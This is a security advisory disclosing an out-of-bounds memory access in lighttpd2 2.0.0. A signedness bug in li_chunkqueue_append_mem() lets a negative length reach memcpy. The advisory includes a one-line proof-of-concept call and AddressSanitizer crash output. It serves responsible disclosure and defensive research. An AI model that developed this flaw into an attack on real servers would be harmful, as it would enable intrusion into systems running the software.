lighttpd 2.0.0 Out-Of-Bounds Access

*Description:*
    A signedness vulnerability exists in the li_chunkqueue_append_mem()
    function in lighttpd2, where a signed length parameter (gssize len) is not
    properly validated before being used in memory operations that expect an
    unsigned size. When a negative length value is supplied, it is implicitly
    converted to a large unsigned value, resulting in an out-of-bounds memory
    read and a stack buffer overflow.
    
    *Affected Component:*
    
       - Project: lighttpd2
       - File: src/main/chunk.c
       - Function: li_chunkqueue_append_mem()
       - Affected versions: lighttpd2 2.0.0 (and likely earlier versions in the
       2.x series)
    
    *Attack Vector:*
    
       - Local / Internal API misuse
       - Potential remote reachability if malformed HTTP request bodies,
       chunked transfer decoding, or backend responses result in negative length
       calculations that reach li_chunkqueue_append_mem().
    
    *Technical Details:*
    *The vulnerable function is defined as:*
    void li_chunkqueue_append_mem(liChunkQueue *cq, const void *mem, gssize
    len);
    *Inside the function, len is only checked for zero:*
    if (!len) return; Negative values are not rejected. When a negative gssize
    value (e.g., -1) is passed, it is later used in calls that treat the value
    as an unsigned size (gsize), resulting in a large length such as
    4294967295. This causes unsafe memory operations via g_array_append_vals()
    and ultimately memcpy(), leading to an out-of-bounds memory access.
    
    *Proof of Concept:*
    A minimal reproducer demonstrates the issue:
    
        /* Trigger signedness bug */
        li_chunkqueue_append_mem(cq, buf, -1);
    
    # ./chunk
    
    *Output:*
    
    =================================================================
    ==175485==ERROR: AddressSanitizer: stack-buffer-overflow on address
    0xfbff9cf00028 at pc 0xaaaae7908080 bp 0xffffc50ec5a0 sp 0xffffc50ebd90
    READ of size 4294967295 at 0xfbff9cf00028 thread T0
        #0 0xaaaae790807c in memcpy (/root/lighttpd2/chunk+0xd807c) (BuildId:
    5f4fb5aa4dacb9c02ca0afc9864a810d23e3629a)
        #1 0xffff9fa9651c in g_array_append_vals
    (/lib/aarch64-linux-gnu/libglib-2.0.so.0+0x2651c) (BuildId:
    ee842437cbb995404bc6e4a9a832449be696142c)
        #2 0xffff9fdf2228 in li_chunkqueue_append_mem
    /root/lighttpd2/build-asan/../src/main/chunk.c:562:2
        #3 0xaaaae794bb1c in main /root/lighttpd2/chunkqueue.c:9:5
        #4 0xffff9f752598 in __libc_start_call_main
    csu/../sysdeps/nptl/libc_start_call_main.h:58:16
        #5 0xffff9f752678 in __libc_start_main csu/../csu/libc-start.c:360:3
        #6 0xaaaae7864fac in _start (/root/lighttpd2/asan_test+0x34fac)
    (BuildId:
    
    Ron Edgerson
    Vulnerability Researcher & Exploit Developer
    
    CVE Research | Binary Exploitation | Application & Systems Security
    Responsible Disclosure • Proof-of-Concept Development
    
    🌐 https://github.com/ob1sec
    🔗 https://www.linkedin.com/in/ronedgerson1
    <https://linkedin.com/in/yourhandle>